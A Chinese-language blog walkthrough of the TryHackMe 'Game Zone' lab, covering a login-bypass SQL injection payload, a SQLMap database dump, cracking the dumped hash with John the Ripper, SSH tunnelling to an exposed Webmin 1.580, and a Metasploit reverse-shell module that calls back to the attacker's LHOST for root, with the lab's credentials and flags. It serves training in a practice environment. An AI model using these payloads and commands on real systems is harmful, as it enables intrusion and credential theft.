【THM】Game Zone-练习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/gamezone

通过学习相关知识点:渗透实验靶机,使用SQLMap工具完成SQL注入,然后进行密码破解,最后使用反向SSH隧道揭示目标机的隐藏服务以及尝试将已获得的权限提升到root。

image

部署目标靶机

本文将介绍 SQLi(手动利用、通过 SQLMap 利用注入漏洞)、破解用户散列(hash)密码、使用反向 SSH 隧道揭示目标的隐藏服务以及使用 metasploit 有效载荷获取目标的root 权限。

答题

部署目标靶机之后,使用浏览器访问目标站点:

image

通过SQLi获取访问权限

在本小节中,你将更多地了解 SQL(结构化查询语言)以及如何潜在地操纵查询语句以便与数据库进行通信。

答题

SQL 是一种标准语言,用于在数据库中存储、编辑和检索数据。 SQL查询语句可能如下所示:

SELECT * FROM users WHERE username = 'username' AND password = 'password'

在目标靶机后台,当你尝试登录目标站点时,它会从登录页的用户名输入框和密码输入框中获取你所输入的值,然后将这些值直接插入到上面的查询语句中。 如果该查询语句找到有效数据得以匹配,你将被允许登录目标站点,否则将在登录页面上显示一条错误消息提示。

这是一个潜在的漏洞位置(登录框),因为你可以输入你所构造的用户名--将用户名构造为SQL 查询语句,这将写入、拼接并执行查询操作。

image

我们可以使用在上面学到的知识,在没有任何合法凭据的情况下操纵查询语句并实现登录行为。

如果我们输入用户名 admin,输入密码' or 1=1 # 它会将密码中的值插入到后端查询语句中并验证我们的会话是否有效。

现在在 Web 服务器上执行的具体 SQL 查询如下:

SELECT * FROM users WHERE username = 'admin' AND password =' ' or 1=1 # '

我们作为密码输入的额外SQL语句(' or 1=1 #)将会更改目标后端的初始查询为上述语句,这将中断初始查询过程并在 1==1 时继续(此时是管理员用户身份),然后我们将注释该查询的后接部分(使用--符号进行注释)以阻止SQL查询中断。

image

即使目标靶机的数据库中没有管理员用户,你仍然可以使用我们在上面所提到的值(' or 1=1 #)在不知道任何凭据的情况下完成登录。

在登录页面,我们可以使用' or 1=1 #作为登录的用户名并将密码框一栏直接留空。

image

image

使用 SQLMap

SQLMap 是一种流行的开源自动 SQL 注入和数据库接管工具,它预装在所有版本的 Kali Linux 上,当然你也可以手动下载和安装SQLMap工具。

在web安全领域有许多不同类型的 SQL 注入(比如基于布尔的注入、基于时间的注入等),而SQLMap 工具将尝试使用不同的技术自动化整个注入过程。

答题

操作讲解:

我们将使用 SQLMap 针对目标靶机转储它的整个数据库--使用我们之前登录的页面,我们将 SQLMap 指向目标站点的评论搜索功能。

首先,我们需要使用 BurpSuite 拦截对目标站点的搜索功能的请求。

image

先将上面的请求内容保存到文本文件(request.txt)中,然后我们再将其传递给 SQLMap工具 以使用我们已经经过身份验证的用户会话。

image

sqlmap -r request.txt --dbms=mysql --dump

-r 读取之前已保存的burpsuite所拦截的请求信息
--dbms 告诉 SQLMap 目标是什么类型的数据库管理系统
--dump 尝试转储整个数据库数据(真实环境下请谨慎使用dump参数)

输入以上命令之后,将在终端启动SQLMap 并尝试使用不同的注入方法以验证一些易受攻击的漏洞,最终,它将会输出目标数据库中的数据信息到终端界面。

image

操作实践:

按照上述步骤在我们自己的攻击机上进行操作,首先我们使用burp拦截目标站点搜索栏相关的请求消息。

image

我们将请求信息保存至文本文件request.txt中,然后打开终端输入命令以启动SQLMap工具。

sqlmap -r request.txt --dbms=mysql --dump

image

最终结果如下:

image

image

根据上述结果可知:

用户表中的hash值为:ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14

与散列密码关联的用户名为:agent47

除了用户表,另一个表名是:post

image

使用 JohnTheRipper 破解密码

开膛手约翰 (JTR) 是一种快速、免费且开源的密码破解程序,这个工具预装在所有 Kali Linux 机器上。

我们将使用JTR程序来破解我们之前获得的哈希密码值, JohnTheRipper 已有 15 年历史,当然还有一些其他密码破解程序例如 HashCat等。

JohnTheRipper程序的工作原理是先获取一个密码单词表,然后用指定的hash算法对其进行散列处理,再将其与目标散列密码(hash密码值)进行比较,如果两个散列密码相同,则表示已找到目标散列密码所对应的明文密码--即破解成功。因为我们不能直接反转目标散列值来得到明文密码,所以我们需要通过比较散列值来完成对目标hash值的猜解过程。

答题

在本地攻击机上安装 JohnTheRipper 后,你可以使用以下参数针对目标哈希进行破解:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=Raw-SHA256

--wordlist - 是你用来破解目标哈希值的密码单词列表

hash.txt - 包含目标哈希值的列表(在一般情况下它的内容只是 1 个哈希值)

--format - 指明将要使用的散列算法类型,在上面的命令中,它表示使用 SHA256 算法进行哈希处理。

image

将上一小节获得的目标hash值保存为文本文件--hash.txt,然后运行john相关命令。

image

videogamer124

image

现在我们得到了用户名(由上一小节可知)和其对应的密码明文,我们可以尝试通过 SSH 连接到目标机器。

ssh agent47@10.10.84.199
#输入密码
videogamer124

image

输入命令查看用户flag内容。

image

649ac17b1480ac13ef1e4fa579dac95c

image

使用反向 SSH 隧道暴露目标隐藏服务

image

反向 SSH 端口转发能够 指定将远程服务器主机上的给定端口转发到本地端的给定主机和端口。

-L 是本地隧道 (YOU <-- CLIENT 由远程客户端到你的本地机)。 如果某个站点被阻止,你可以将流量转发到你所拥有的服务器上并查看它。

例如,如果站点imgur在工作中被阻止,你可以执行 ssh -L 9000:imgur.com:80 user@example.com,然后在你的本地机器上访问 localhost:9000,这将使用你所拥有的其他服务器加载站点imgur的流量。

-R 是远程隧道(YOU --> CLIENT 由你的本地机到远程客户端)。 这意味着你将流量转发到另一台服务器以供其他人查看,该过程与上面的本地隧道示例类似,但加载流量的结果相反。

答题

我们将使用一个名为 ss 的工具来调查主机上所运行的套接字(socket ),如果我们运行命令 ss -tulpn 它将告诉我们主机上正在运行哪些套接字(socket )连接。

image

在上一小节中我们已经使用ssh连接到目标机器,所以我们可以通过ssh界面在目标机上运行ss -tulpn命令。

image

我们可以看到在目标机的端口 10000 上所运行的服务被外部的防火墙规则阻止(我们可以从 IPtable 列表中看到这一点),但是我们可以利用反向SSH 隧道,从而实现在本地机上向我们公开目标机的端口 10000!

在我们的本地机器上,运行命令ssh -L 10000:localhost:10000 <username>@<ip>

ssh -L 10000:localhost:10000 agent47@10.10.84.199

image

执行上述命令后,在我们的本地浏览器中输入localhost:10000,我们就可以访问新公开的服务(来自于远程目标机端口10000所对应的服务)。

image

CMS及其版本信息:Webmin 1.580

image

提升权限到root

根据CMS版本,使用 Metasploit 搜索能够针对目标机器执行的有效负载 即payload。

答题

启动msf,搜索可用模块。

search Webmin 1.580

image

设置参数并执行payload。

set PAYLOAD payload/cmd/unix/reverse
options
set USERNAME agent47
set PASSWORD videogamer124
set RHOSTS localhost
set LHOST 10.13.16.58 #攻击机所使用的连接至TryHackMe平台的内部vpn ip地址
set SSL false
exploit

image

image

image

打开已创建的会话。

image

输入命令,查看目标flag内容。

image

a4b945830144bdd71908d12d902adeee

image

posted @ 2023-02-06 22:34  Hekeatsll  阅读(273)  评论(0编辑  收藏  举报